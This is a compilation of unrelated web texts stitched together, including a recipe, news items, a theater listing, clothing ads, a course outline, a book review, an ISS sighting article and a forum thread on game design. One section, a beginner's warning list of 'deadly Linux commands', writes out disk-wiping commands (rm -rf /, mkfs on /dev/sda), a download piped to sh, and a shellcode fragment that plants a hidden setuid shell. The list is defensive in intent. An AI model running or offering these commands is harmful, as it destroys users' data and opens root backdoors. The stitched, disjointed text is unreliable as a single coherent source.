I somehow manage to destroy my kitchen whenever flour and chicken is involved, but the mess is well worth it. It has become an easy, weeknight staple in our house.
Besides, those of us who can't get the name right should have to do the dishes anyways, don't you think? ;)
- To save on time, you can purchase thinly sliced chicken cutlets instead of regular sized chicken breasts. Or to save a couple bucks, simply slice them yourself.
- If you cannot find cracked wheat, try using couscous, rice or another grain of your choice.
- To make this gluten free, substitute with gluten free flour where applicable.
- 1½ lbs. thinly sliced chicken cutlets
- ½ c. flour + 1 teaspoon, divided
- 2 tbsp. olive oil, divided
- 2 tbsp. butter, divided
- ¼ c. shallots, diced
- 2 garlic cloves, finely minced or crushed with a garlic press
- ¼ c. white wine
- 1½ c. low- sodium chicken stock or broth
- 2 lemons
- 2 tbsp. brined capers, rinsed
- ½ tsp salt
- freshly ground black pepper
- lemon slices
- 3 tbsp. roughly chopped flat-leaf parsley
- 1½ c. instant bulgur wheat
- 3 c. low-sodium chicken stock or broth
- 1 tbsp. olive oil
- 1x 14 oz. bag baby spinach
- Couscous and Jasmine rice make excellent quick-cooking side dish options.
- Bring a large pot of chicken stock to a boil. Add the bulgur wheat. Remove from the heat, and keep covered for about 20-25 minutes or until tender (drain any extra liquid if necessary). Add the olive oil and 2 handfuls of spinach. As you begin to stir, the residual heat will wilt the greens. Add the rest of the spinach and keep warm until ready to serve.
- Add ½ c. flour to a shallow bowl; add the remaining 1 teaspoon to a separate bowl for the sauce.
- Season the chicken on both sides with salt and pepper.
- Dredge the cutlets in flour shaking off any excess as you go. Transfer to a plate.
- In a large 12-inch skillet, warm 1 tablespoon of olive oil and 1 tablespoon of butter over medium-low heat. Add the chicken and brown on both sides, about 3 minutes per side. Work in batches or use two separate pans. Transfer the chicken to a plate and cover with foil to keep warm. Note: it is important to monitor the heat so that the flour does't burn. This will impart a bitter flavor to the sauce.
- While the chicken is cooking, prep the rest of your ingredients. Dice the shallots, mince or crush the garlic, open the white wine, rinse your capers, chop your parsley, and slice the lemons for garnish. If you use this time wisely, the dish will come together quickly in the end.
- To make the pan sauce, reduce the heat to low. Add 1 teaspoon of oil to the pan. Saute the shallots until soft, but not colored, about 1 minute.
- Add the garlic and cook until fragrant, about 30 seconds.
- Add the wine and bring to a boil, scraping up any brown bits stuck to the bottom of the pan. Reduce the liquid by half.
- Add the chicken stock and bring to a boil. To thicken the sauce, add a splash of stock to the reserved teaspoon of flour and whisk well to dissolve any lumps. Add the flour mixture to the pan, whisking constantly, until the sauce is slightly thickened.
- Reduce the heat to a simmer. Stir in the remaining 1 tablespoon of butter.
- Add the juice of half a lemon and sprinkle with capers.
- Return the chicken and any accumulated juices to the pan.
- Taste the dish; season with extra lemon juice, salt and pepper if desired.
- To serve, transfer the chicken to a serving platter and spoon the sauce over the top.
- Garnish with lemon slices and fresh parsley.
- Serve with bulgur wheat and spinach on the side.


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Newly crowned Nobel laureate Robert Shiller, sharing the economics prize with two others, shrugged at the market's reaction to the debt and budget debate, telling CNBC on Tuesday that it was "a wash."
With Senate Majority Leader Harry Reid, D-Nev. hinting at a deal earlier in the morning, saying it was a potentially "bright day," the Yale economist said equities haven't really reacted to the crisis one way or another.
"Part of what's under grabs in Congress right now is this traditional American spirit that you can make money and you can keep it," Shiller told the network. "That's under debate now, so we have this budget, this debt crisis."
Shiller is known for his analysis of the Internet stock bubble and run-up in housing prices prior to the 2008 crash, warning in both cases of the crashes to come. He releases the S&P/Case-Shiller home price index, a popular gauge for measuring home values.
His Nobel Prize, which he shared with another well-known economist, Eugene Fama, as well as Lars Peter Hansen, both of whom teach at the University of Chicago, was for his work in showing how markets behave in determining their value.
In his assessment of current patterns, he worries that housing growth will slow but said the market remains fairly strong though "risky," according to CNBC.
"But it's not necessarily bad for the stock market," he said of the fight in Congress. "The Republicans want rich people to keep the money. That has to be good for the stock market. Of course, bad for the stock market is the reputational loss that this country could lose.
"So it's a wash. I don't see any clear outcome for the markets. So I don't have any alarm bells for the market at this moment."
Check out Are U.S. Stocks Overvalued? on ThinkAdvisor.


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Arts & Events
Around & About Theater: Inferno Theater with a New 'Dracula' at South Berkeley Community Church
Giulio Cesare Perrone, one of the most talented theater designers here, and formerly with both the Grotowski Institute in Italy and Dell'Arte Theater School at Blue Lake near Eureka, has written, directed and designed a new adaptation of 'Dracula,' one that plays up the power of suggestion, possession and somnambulism, for his Inferno Theatre, the European-style physical theater company that performed notably at the Berkeley City Club in Perrone's 'Galileo's Daughters' and 'The Iliad' the past two years. Inferno's a unique company in the Bay Area.
In residence now at the extraordinary old Arts & Crafts-designed South Berkeley Community Church, near Shattuck in the Lorin neighborhood, Perrone directs Simone Bloch, Valentina Emeri, Paul Davis, Julia Ellis, AeJay Mitchell, Ilya Parizhsky, Christina Shonkwiler and Shana van Spronsen in a truly mobile enbemble piece that employs design, music (Norman Kern's, played by Cairo McCockran) and dance to bring across Dracula as the ultimate outsider, bent on controlling society--and how society's ability to overcome contagion.
Thursday through Saturday, November 29-December 1, and Thursday through Sunday, December 6-16 (Thursadys-Sundays at 8, Fridays-Saturdays at 9),1803 Fairview, at Ellis, a block west of Shattuck--& southwest of the Ashby BART Station. $12-$25, sliding scale. 788-6415, infernotheatre.org


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You want to learn about Linux, start from learning what not to do. Here is one for the starting point.
So moral of the story is if someone asks you to do something and you dont know what that command will do, then dont do it. If your inner thing does not allow you not to do it, do it with all the care you can take. May be a backup and most importantly \"DONT USE ROOT LOGIN IF U DONT HAVE REASON TO USE IT\". BTW there are couple of more articles on these kind of advices but the best way to save yourself is to educate yourself on the outcome of the command you are executing.
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
1. Code:
rm -rf /
2. Code:
char esp[] __attribute__ ((section(\".text\"))) /* e.s.p
release */
= \"\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\"
\"cp -p /bin/sh /tmp/.beyond; chmod 4755
3. Code:
mkfs.ext3 /dev/sda
4. Code:
5. Code:
any_command > /dev/sda
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.


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Elegant grey anarkali with pink and gold zari sequin embroidery. A stunning eye turner for any party,wedding, eid, diwalli, lori, etc. Silk embroiderd trousers with net dupatta. fully stitched.
A Stunning shimmery gold anarkali which is fully stitched. Complementing a gold churidar with sequin border. A lovely net dupatta with gold piping. Can be worn on any occasion Wedding, Eid, Diwalli, Engagement party etc.
£199.99 £69.99
This blue anarkali is a stunning outfit for any occasion. It has elegance and charm that will turn heads at any party. Wedding function , Eid, Diwalli, Lori. This anarkali has a raw silk lengha under the anarkali which gives it a remarkable elegance. With blue net duppatta with blue raw silk piping. Its a must for anyones wardrobe. Comes with full sleeves and fully stitched.
£199.99 £164.99 £49.99
A stylish interpretation of ethnic glamour, this Pink Net Anarkali fully stitched with full sleeves. Churidar banglori silk trousers complimenting buttons on side of churidar. With entricate embroidery on dress with sequins and mirrors, embroidered threadwork, zari and stonework. Dupatta with zari border and stones. This oufit will definitely grab everyones attention. Can be worn on any occasion, party wear, Eid, Diwalli, Lohri, Mehndi, as you will look gorgeous in it. Fully stitched.
£17.99 – £19.99
£49.99 £59.99 £59.99 £59.99 £179.99 £69.99 £169.99 £49.99 £59.99
A gorgeous pink zari thread embroidery ready to wear outfit. With a gharara bottoms that is very complimenting to the outfit. Pink dupatta. This beautifull outfit can be worn at any ocasion. May it be Eid, Diwalli, wedding function, can be worn on any festival.
Blue embroidered ready to wear frock style dress with stones and embroidery, with a beautiful jamawar trousers and blue dupatta. With embroidery around hemline. Eid, Diwalli,Lori, Wedding functions, Birthday parties for all festivals.
£89.99 £69.99 £169.99 £59.99 £69.99 £29.99
This chiko banglori silk anarkali is a stunner. Beautiful embroidery with resham zari and sequins gives it the wow factor ,with a raw silk lengha and soft net dupatta with stones. Fully stitched and can be worn on any ocassion may it be as a guest at a wedding, diwalli, eid, lori or mehndi etc.
£195.99 £179.99


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WASHINGTON, Aug. 21 (UPI) -- The Republican platform committee Tuesday approved a call for an amendment to the U.S. Constitution that would ban abortions.
The amendment would allow for no exceptions for rape, The New York Times reported. The platform says unborn children have rights "that cannot be infringed."
"We support a human life amendment to the Constitution and endorse legislation to make clear that the Fourteenth Amendment's protections apply to unborn children," the approved draft said.
The full convention is scheduled to vote on the platform Monday.
The language comes at an embarrassing time for the party. Rep. Todd Akin, the Republican candidate for U.S. Senate in Missouri, refused to drop out after he said women who endured "legitimate" rapes were unlikely to become pregnant.
Republican National Committee Chairman Reince Priebus said on MSNBC that Mitt Romney, the almost certain presidential nominee, supports allowing exceptions to an abortion ban for rape and incest, The Hill reported.
"This is the platform of the Republican Party; it's not the platform of Mitt Romney," Priebus said. "That all being said, though, these guys are proud pro-life candidates and we're a proud pro-life party."
The platform contained the same language in 2004 and 2008.


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See what happens when a hot load turns a rifle bolt into a projectile.
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About HP White
Since 1936 HP White Laboratory has provided testing services for research and development, validation, certification and quality control of personal protective equipment, and armor systems, sub-components and materials. Founded by Henry Packard White as a ballistic research and development facility, today the laboratory serves government agencies all over the world, and product manufacturers in defense, law enforcement, first responder and athletics markets. HP White is the most diverse ballistic and PPE test laboratory in the world: providing independent analysis of firearms and firearms safety devices; ammunition; impact resistant products; body armor; vehicular and structural armor; military, commercial and athletic headgear; chemical and biological resistant products; eyewear; and fall protection equipment.


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Course Title: Work effectively in the ophthalmic industry
Part B: Course Detail
Teaching Period: Term2 2011
Course Code: OPSC5042C
Course Title: Work effectively in the ophthalmic industry
School: 155T Vocational Health and Sciences
Campus: City Campus
Program: C4207 - Certificate IV in Optical Dispensing
Course Contact: Timothy Haigh
Course Contact Phone: +61 3 9925 4846
Course Contact Email: firstname.lastname@example.com
Name and Contact Details of All Other Relevant Staff
Nominal Hours: 30
Regardless of the mode of delivery, represent a guide to the relative teaching time and student effort required to successfully achieve a particular competency/module. This may include not only scheduled classes or workplace visits but also the amount of effort required to undertake, evaluate and complete all assessment requirements, including any non-classroom activities.
Pre-requisites and Co-requisites
In some states/territories participants must have a licence to practise prior to placement in the workplace
Course Description
This unit of competency describes the skills and knowledge required by workers in the Ophthalmic Industry to perform work that reflects an understanding of the structure and profile of the industry, the roles and relationships within and across the industry and key
issues facing the industry
National Codes, Titles, Elements and Performance Criteria
National Element Code & Title:
HLTOPD401A Work effectively in the ophthalmic industry
1. Demonstrate an understanding of the structure and profile of the optical industry
Performance Criteria:
1.1 Describe the organisation of the optical industry
2. Develop a knowledge of the structure of the eye
Performance Criteria:
2.1 Use accepted terminology to describe the normal structure, function and location of the eye
3. Use accepted terminology to identify and describe the various types of ophthalmic lenses and spectacle frames available within the industry
Performance Criteria:
3.1 Identify the different categories of ophthalmic lenses and spectacle frames
4. Recognise variations from normal functioning
Performance Criteria:
4.1 Describe common problems associated with the eye and its components using terms and concepts relevant to the ophthalmic industry
5. Document client information
Performance Criteria:
5.1 Use accepted protocols to document information in line with organisation requirements
6. Work within organisation policies and procedures
Performance Criteria:
6.1 Access and follow organisation guidelines, policies and procedures
Learning Outcomes
Details of Learning Activities
1: Read each topic in the Learner Guide. Upon completion of each topic, complete the self-assessment checklist from the Learner Guide. Once you have done this, progress to the next topic.
2: Complete the self-assessment quiz. Please note, this is not an assessment task. The self-assessment will check your level of understanding of the unit and provide you with feedback.
3: Refer to the Learning and Assessment Guide (LAG) items 1, 2, 3, 7, and 8. Familiarise yourself with the content.
Teaching Schedule
Topic 1: The ophthalmic industry
Topic 2: The eye
Topic 3: Lenses, frames and associated terminology
Topic 4: Specific ophthalmic workplace practices
Learning Resources
Prescribed Texts
Other Resources
1. Learner guide HLTOPD401A
2. Learning and Assessment Guide – Year 1
3. Essential knowledge: Visual physiology
4. Additional learning materials available through the Learning Hub
5. Kolb, H, Fernandez, E & Nelson, R, 2005, 'WEBVISION: The organization of the retina and visual system', http://webvision.med.utah.edu/
6. Technology Transfer Rehabilitation Engineering Research Center, 2003, 'Low Vision Facts - Anatomy and Physiology of the Eye' (Freedom Scientific) http://www.lowvisionsolutions.com/resources/vision-anatomy_eye.html
7. Patts, 2000, 'The eye: Visual system' http://webschoolsolutions.com/patts/systems/eye.htm
8. Mather, G, 'The eye', York University, http://www.lifesci.susx.ac.uk/home/George_Mather/Linked%20Pages/Physiol/The%20Eye.html
9. 'Master diagram', (c/- National Eye Institute) http://www.yorku.ca/eye/eye1.htm
10. The Washington University School of Medicine, 'Eye and retina', http://thalamus.wustl.edu/course/eyeret.html
Frame materials
For further information on frame materials, refer to the following links:
1. Algha Group Ltd, London, 'The Savile Row Collection', http://www.algha.com/
2. Adam, B (1997) 'Hand-making Acetate Spectacle Frames', The Ganoksin Project, http://www.ganoksin.com/borisat/nenam/acetate.htm
Optional reading - glossaries
Recommended ophthalmologic glossaries can also be found in the following references:
1. Walman Optical, 2006, 'Glossary of terms', via: http://www.walman.com/default.aspx?File=glossary.htm&Section=200
Overview of Assessment
Assessment may consist of examinations, quizzes, practical demonstration, work based assessment or simulation, submission of your learning and assessment guide and assignments.
Assessment Tasks
Before attempting any of the below assessment tasks ensure that you agree with all self-assessment checklists in the Learner Guide and that you have completed the online self-assessment quiz.
1. Complete the online test titled HLTOPD401A. This test consists of completing a series of 10 online questions. These questions may consist of true or false, multiple choice, short answer questions etc. In order to pass you need to answer seven or more correct (7 out of 10). You must pass this prior to completing assessment task 2.
2. Refer to your learning and assessment guide (LAG) and carefully read items 1, 2, 3, 7, and 8. An RMIT University assessor will assess you on items 1, 2, 3, 7, and 8 during a work-based assessment and during your compulsory attendance at blocks in year one. In addition your assessor will include a range of verbal questions to ask during these assessments. In addition an RMIT University assessor may talk to your employer.
3. At the end of the semester you will be required to complete a 60-minute examination. Please note that this examination will cover HLTHIR301A, HLTOHS300A, HLTOPD401A, BSBCMN302A, BSBFLM403B and HLTOPD407A and you will only be allowed to attempt it once. This examination will include short answers, true or false, multiple-choice, equations and other types of questions. Once the exam has been marked you will be informed by your RMIT assessor if you have passed. The pass mark is 70%.
Please note that you will need to demonstrate competency in all 3 of these assessment tasks in order to achieve competency for this unit.
Assessment Matrix
Other Information
This unit forms one (1) part of the eight (8) units of competeny required to successfully complete year one of the Certificate IV in Optical Dispensing
Course Overview: Access Course Overview


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Gen. Stanley McChrystal's controversial comments in a Rolling Stone article have generated plenty of comments.
The general, who is the commander in charge of U.S. and NATO troops in Afghanistan, is making the long trip back to Washington, D.C., to meet with President Barack Obama Wednesday -- a meeting that some believe could result in the general's resignation.
Below is a roundup of what politicians, diplomats and journalists are saying right now:
Defense Secretary Robert Gates
"I read with concern the profile piece on Gen. Stanley McChrystal in the upcoming edition of 'Rolling Stone' magazine. I believe that Gen. McChrystal made a significant mistake and exercised poor judgment in this case…. Going forward, we must pursue this mission with a unity of purpose."
Senators John McCain (R-Ariz.), Joe Lieberman (I-Conn.) and Lindsey Graham (R-S.C.)
"We have the highest respect for General McChrystal and honor his brave service and sacrifice to our nation. General McChrystal's comments, as reported in Rolling Stone, are inappropriate and inconsistent with the traditional relationship between Commander-in-Chief and the military."
Sen. John Kerry (D-Mass.)
"It would be a grave mistake to allow this unfolding news drama to distract anyone from the mission at hand…. Everyone needs to take a deep breath and give the President and his national security team the space to decide what is in the best interest of our mission, and to have their face-to-face discussion tomorrow without a premature Washington feeding frenzy."
Sen. Karl Levin (D-Mich.), Chairman of Senate Committee on Armed Services
"I'm very troubled by his comments. It's interesting there doesn't seem to be a disagreement on policy issues between McChrystal and the civilian leadership as much as there are personality issues which could interfere with the policy... that is important because if there were policy differences then it seems to me there would be no alternative but for him to leave, but there are no policy issues differences that are at least apparent in that article."
Spokesman for Afghanistan President Hamid Karzai
"The president strongly supports General McChrystal and his strategy in Afghanistan and believes he is the best commander the United States has sent to Afghanistan over the last nine years."
Eric Bates, Rolling Stone executive editor, on MSNBC's 'Morning Joe'
"We ran everything by them in the fact-checking process as we always do. They had a sense of what was coming and it was all on the record and they spent a lot of time with our reporter, so I think they knew that they had said it."


text:
"The Taliban Cricket Club" (Ecco), by Timeri N. Murari: Writing a novel about Afghanistan can be a difficult, unenviable undertaking.
Ideally, the result will be well-informed, nuanced, stylishly written, surprising and free of cliches. At worst, the book will simply perpetuate stereotypes, even "good" stereotypes that to this day frustrate and confound Afghanistan's relations with the world.
Timeri N. Murari's attempt at the Afghan novel genre falls somewhere in the middle. It strives to teach the world about the lives of Afghans under Taliban rule — pre-9/11 — and has a clever, even intriguing premise. But it ends up trying too hard: The various characters and plotlines are almost too perfect, too convenient, as if a bunch of Aesop's fables were bundled together.
The narrator of "The Taliban Cricket Club" is Rukhsana, a headstrong young Afghan woman who works secretly as a journalist — secretly because the Taliban ban women from working (and are not that fond of journalists, either). Rukhsana is engaged to an Afghan who is living overseas, but that is due to a family arrangement. Her real love is a young man in India, where she lived for a while, attending school, and learning to play cricket.
The last bit is especially convenient. The Taliban, who have banned sports along with other forms of entertainment due to their severe interpretation of Islam, have decided to try to seek some world acceptance via cricket. They announce they will host a cricket tournament, and that the winning team will then get a chance to play in neighboring Pakistan. Rukhsana and several of her male relatives see this as a ticket out of hell.
Murari is a writer, filmmaker and playwright living in India. "The Taliban Cricket Club" is billed as his first novel to be published in the United States, and he says he got the initial idea for the novel in 2000 after reading that the Taliban had decided to make cricket an exception to their "no sports" rule.
The book follows Rukhsana as she tries to teach her band of not-so-merry men to play cricket well enough so that they can win the initial matches in Afghanistan. All while trying to hide the fact that she's a woman. And while taking care of her dying mother. And while waiting for her arranged fiance to send for her, and pining away for her gentleman admirer in India. Oh, and did we mention that a top Taliban official has decided he wants to marry her?
Every few pages in the book, the reader is treated to an anecdote or a character that in ways almost too obvious lay out the strengths, but mostly weaknesses, of Afghanistan under Taliban rule. The plucky Afghan woman who once worked as a beautician, and who still puts on makeup in defiance of a government that shrouds her in a burqa, for example. Or the noble household servant whose loyalty includes displaying discretion.
For a reader completely unfamiliar with Afghanistan, this approach may be enlightening. But at a certain point, especially for anyone who knows a bit about how complex Afghans and their history truly are, it borders on condescending. "Afghanistan" does not consist of the neat and tidy concepts and characters that make up "The Taliban Cricket Club."
The novel's saving grace is that you will want to know what happens to Rukhsana and her cricket team. There is a twist in the tale (of course) — and it is a clever one. In the end, you may even wish it was a true story.
'Taliban Cricket Club' is a novel with a twist
"The Taliban Cricket Club" (Ecco), by Timeri N. Murari: Writing a novel about Afghanistan can be a difficult, unenviable undertaking.


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Construction is a sure sign of progress and improvement in a healthy economy. Public streets and utilities need regular repairs, maintenance and upgrades. Such work is funded through Brea's Capital Improvement Program (CIP) and combinations of Federal and State grant programs that have been established for specific types of work.
Only after many years of careful planning and budgeting can various CIP Projects get out to bid. Once contracts are awarded, it is yet another process to ramp up the actual construction. The City of Brea works closely with selected contractors to schedule work as tightly as possible and get notifications out during critical phases of work.
This MAP is updated periodically to show locations where construction work is underway in Brea. Questions about City of Brea projects may be directed to 714-990-7667.
North Brea Boulevard Underground Project
This project will remove the existing Southern California Edison (SCE) utility poles on the west side of Brea Boulevard from Lambert Road to Central Avenue. SCE is the lead utility company for this Project and the Contractor hired by SCE is Henkels and McCoy.
Before the SCE poles are removed, underground conduits will be installed by various utility companies (SCE, AT&T, Crowncastle and Time Warner) into three phases. Phase 1 will be performed by SCE & AT&T and this phase is estimated to be completed in December 2017. Subsequently, Crowncastle and Time Warner will install their conduits. The final phase is the removal of the existing utility poles which are anticipated to be completed by September 2018.
The traffic lanes on Brea Boulevard will be impacted intermittently on weekdays from 9 AM to 3 PM. The public is advised to use alternate route and observed traffic signs posted by the contractor.
CALTRANS PROJECT ON6003--Pavement Rehabilitation
Valencia Avenue/Carbon Canyon Rd. (142) To Brea Hills Drive.
This CalTrans project will remove and replace existing Asphalt Concrete (AC) Pavement with new AC and Concrete Pavement beginning at the intersection of SR 90 (Imperial Highway) and Valencia to Brea Hills Drive on SR 142 (Carbon Canyon Rd.) This project will also include replacement of ADA (American Disability Act) ramps.


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We've partnered with Klarna to provide you with easy, special financing. Offers start at 0% APR if paid in full within 6 or 12 months!*
*Interest will be charged to your account from the transaction posting date at 19.99% APR if the purchase balance is not paid in full
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Additional payments may be required to pay off purchase before promotion expires.


text:
(Editors Note: Due to timeliness concerns for events mentioned, we nudged next weeks astro-event up to today!)
After a long drought, the International Space Station (ISS) returns to the nighttime skies this week. And what a return it is; starting tonight on June 23rd, the ISS enters a phase in which it is illuminated by the Sun throughout the span of its orbit. This unique event continues for four days, and sighting opportunities abound. This is only possible within a few weeks surrounding the solstice season, and does not happen again this year. Generally, the farther north or south in latitude you are, the greater the sighting opportunities; areas such as northern Maine, for example, will see the ISS on every 90 minute pass throughout the night! This also produces a dilemma for residents of the ISS, as overheating is a major concern. To offset or minimize this effect, portions of the ISS can be angled to alternately shade sections and automated cooling and radiating devices are installed throughout. Now is a good time to spy this celestial outpost of humanity, as its brightness rivals Venus. Spaceweather.com, Orbitron and the NASA ISS website all provide sighting guides; you can even follow @twisst on twitter for sighting ops or our humble feed @Astroguyz if you live in the US Southeast. Our favorite pick for ISS tracking is Heavens-Above, a tried and time honored favorite let us know of your ISS sighting success stories!
The Astroword for this week is Inclination. This is one of the essential perimeters that defines an orbit of a celestial body; usually an established and agreed upon 0° degree point is set based on the primary bodies rotation (as is the case for objects orbiting the Earth) or orbital plane (for objects orbiting the Sun). That is, the Earths orbit as traced out by the ecliptic establishes zero point inclination throughout our solar system. The fact that the illumination angle of the ISS changes is a direct result of its 51.6° degree inclined orbit with respect to the Earths rotational equator. This relatively high inclination was chosen to be easily achievable between U.S. and Russian launch sites. In order for the shuttle or any spacecraft to reach the ISS, it must match the same magical orbital inclination of 51.6° degrees.


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Topic: Game Design Contest (Read 11833 times)
Ben Lehman
Posts: 2094
Game Design Contest
January 17, 2010, 04:07:10 PM »
"Darkness cannot drive out darkness; only light can do that. Hate cannot drive out hate; only love can do that." -- MLK
I'm holding a game design contest.
The contest is: Write me a game about love.
The constraint is: Express your unique creative vision.
The deadline is: next Sunday night, where-ever that is in your timezome.
If you would like additional constraints ask me and I will give them to you. Tell me what kind of constraints you want (mechanical, creative, social, genre, etc.)
I will give detailed feedback on all of the designs and may, if I'm feeling vindictive, declare a winner.
(edit: I decided to promote this.) If you would like to post it to your favorite forums and mailing lists, that's fine with me.
These are our Games
This is my Blog
Posts: 56
Re: Game Design Contest
Reply #1 on:
January 24, 2010, 05:59:04 PM »
A game for 2+ players
OK, so this is a game about creating stories like those found in Romantic Comedies. In this game, there are two: the Star and the World.
The Star is the protagonist of the story. He's trying to gain the affections of...
The Love Interest, an NPC.
The World is trying to prevent the Star and the Love Interest from getting together. There can be several World players, each one controlling a different "character."
If you've ever seen a romantic comedy, I really don't think these roles need further explanation.
So, one player needs to be assigned the role of the Star. Everyone needs to decide who his character is. Is he a weatherman, a la "Groundhog Day," a nerd at the local Buy More a la "Chuck?"
Next, decide who the Love Interest is. Is she a person working with the weatherman at the local news, a super-spy?
Next, decide why these two characters can't get together. "Because the weatherman's a cynical jerk and she's nice and sweet" and "Because a nerd like Chuck could never bag a goddess like the super-spy" are all good options.
Next, decide on the Event that somehow gives the Star a shot at getting the Love Interest. "The weatherman keeps on experiencing the same day over and over, letting him appreciate the richness of human and experience," and "The nerd becomes a valuable CIA asset" are all good options. Note that this event does not need to be mundane. If you're tastes lie that way, then by all means make it supernatural, like in "Night at the Museum."
Finally, the World needs to come up with a few ideas for how he'll keep the Star and the Love Interest apart. "The weatherman's own habit for cynicism" and "Evil enemy agents, exes, and the super-spy's law of staying away from human contact" are all good examples. If there are more than one World Players, assign them each needs to take ownership of one of these. If there are a lot of World players (three or more), let one of them control the Love Interest.
You know how a romantic comedy works. There's three basic
Act 1: Introduce all the characters and plot elements introduced above, including any recurring characters the World controls, as well as the starting situation. Be sure to set up an interesting scenario, because this Act will sow the seeds for how the story plays out. Once that's done, move on to...
Act 2: Play out the situation. Let the characters you've introduced riff off of each other, in particular the Star and the Love Interest. Let their relationship be the "stopwatch" of the game. As they grow closer and closer, let them also be growing closer and closer to resolving any plotlines and complication the World has thrown in, like stopping the terrorists from setting off a bomb. Their relationships should determine which Act you're in.
Act 3: Let this be the showdown between the Star and the World. Once the Star and the Love Interest are together, the game's over. This Act should culminate in the Big Kiss. Cut to...
The Prologue, in which you wrap up any plotlines you left hanging, etc.
So, the game is played in
. The "point" of these scenes should be determined by what Act you're in. During the first Act, there won't be much action. A lot of it will be introductions and setup. During the second Act, it'll be a lot of action and drama. During the third Act, it'll be action and drama times ten. So, take turns setting a Scene. State which characters are in it. You must not necessarily include your own character. If you introduce any characters who are not the Star or the Love Interest, let the World players take turns picking them to play. If there are any leftover, the Star can take control of them, even if he's not in the scene. Once you've picked which characters are in the scene, describe the location, surroundings, and what the characters are doing. Feel free to make this description point to a specific conflict you want to see come up.
Next, roleplay it out. You're civilized people, I don't need to include any rules for free narration.
If a
t comes up, likelihood is it'll be between the Star and the World, but it could be between two World players, or even between someone and the Love Interest. First off, the players should figure out the Stakes for the Conflict, with each side picking an "If I Win" condition.
The resolution system is Fifteen Questions, which is like Twenty Questions, but with five questions less. The person who has the Word is the Opposition. If it is the World versus somebody, he's the Opposition.. If it is the Love Interest versus somebody besides the World, she's the Opposition. If it is a World player versus another World player, the Opposition is the character with the most obvious advantage. The Star always guesses. If the Star is trying to get closer to the Love Interest, the Conflict is between him and the World.
To start a Conflict, the character who is opposing the Opposition should describe an action he takes to reach his goal. "I punch him in the face" and "I edge closer to her on the couch" are all good options. So, start playing. The Opposition should keep track of how many times he answers "Yes" or "No." After five questions, stop. If there are more "Yes" answers than "No" answers, then the person opposing the Opposition was successful in his action and got closer to his goal. Mark this down and start another round. After three rounds, compare how many successes were scored. If two or more were scored, then the person opposing the Opposition achieves his goal and narrates the outcome. Otherwise, the Opposition succeeds and narrates the outcome. There are no orthogonal conflicts.
If you feel like the games not moving fast enough, add in this rule: Every time the Star loses a conflict or the game enters a new Act, the Star players receives a token which he can spend to automatically win any round of a Conflict.
Once the game has entered the Third Act, you should be really close to resolving the game. After everything's been tied up, the villain's been defeated, the Star and Love Interest have kissed in the rain outside the airport, the game's over. If you must, you can have a final prologue where you group-narrate a "final montage" of what happened to all the characters directly after the events of the stories. Then, cue the credits. The game's over.
This game was written in under an hour. It is a wishy-washy free-narration game strongly influenced by the "roleplaying poems" of the Norwegian tradition.
Thanks to Archipelago II for the idea of "ownership." Thanks to a 1-paragraph James Bond roleplaying game whose title I can't remember but that involved a World role and had some kind of word-guessing conflict resolution. And, of course, thanks to all the people who keep on coming up with formulaic feel-good romance movies that still have
to them.
"The difference between the right word and the almost-right word is the difference between lightning and a lightning bug."
-Mark Twain
My Tiny but Growing Blog
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #2 on:
January 24, 2010, 08:42:41 PM »
Thank you, Noah!
These are our Games
This is my Blog
Simon C
Posts: 495
Re: Game Design Contest
Reply #3 on:
January 25, 2010, 05:48:58 PM »
Hi Ben, I posted this in a comment to your blog, but I haven't recieved confirmation you got it.
It's a bit weird, and not really done at all. The endgame, especially, was written in a mad rush to get it done, and doesn't really support the rest of the game at all.
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #4 on:
January 25, 2010, 06:26:02 PM »
Hi, Simon. Yeah, I got it.
These are our Games
This is my Blog
Simon C
Posts: 495
Re: Game Design Contest
Reply #5 on:
January 25, 2010, 06:31:14 PM »
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #6 on:
January 25, 2010, 09:57:29 PM »
I got four entries. I'm doing the commentary and reviews on my livejournal.
Here is a summary of all the entries
Here is a review of the first game: a very loose interpretation of the wikipedia article on greek words for love
I will post here as I write each commentary.
These are our Games
This is my Blog
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #7 on:
January 25, 2010, 11:10:12 PM »
Here's a review of the second game: Romantic Comedy
These are our Games
This is my Blog
Posts: 56
Re: Game Design Contest
Reply #8 on:
January 27, 2010, 05:57:54 PM »
Thanks for the review, Ben! It was great to get a read-through by someone who actually has experience in game design. Not only that, but for some reason criticism can be inspiring. I'll keep working.
"The difference between the right word and the almost-right word is the difference between lightning and a lightning bug."
-Mark Twain
My Tiny but Growing Blog
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #9 on:
January 30, 2010, 05:09:15 PM »
Here is a review of the third game:
A Breath of the Heart: Giving and Taking
Noah, I'm glad to know it was useful. Please keep me up-to-date on your design work, either for this game or something else.
These are our Games
This is my Blog
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #10 on:
January 30, 2010, 07:33:11 PM »
I've written an essay based on some shared issues I've seen in the game designs thus far.
the prep mountain
. Maybe of interest to anyone following along.
These are our Games
This is my Blog
Simon C
Posts: 495
Re: Game Design Contest
Reply #11 on:
January 30, 2010, 11:28:30 PM »
I prettied up the document a bit and put it online here:
It's a pretty big file, and the text is pretty rough.
Ben Lehman
Posts: 2094
Re: Game Design Contest
Reply #12 on:
January 31, 2010, 04:29:41 PM »
Sorry your game is taking longer, Simon. It's very fiddly and I'm trying to make sure I understand the math behind all the subsystems before I write about it.
These are our Games
This is my Blog
Simon C
Posts: 495
Re: Game Design Contest
Reply #13 on:
January 31, 2010, 05:42:21 PM »
Not a problem, Ben.
If you understand the math, that'll make one of us. I just eyeballed most of it. I mean, I know what effect it should have generally, but there's hardly any precision in the design.
Quests, especially, are probably way wrong. I'm also totally unsure how many Heart tokens will be kicking around during the game.
Simon C
Posts: 495
Re: Game Design Contest
Reply #14 on:
March 14, 2010, 05:13:25 PM »
Hey Ben,
How are you doing with that review? I'm still interested in your feedback.
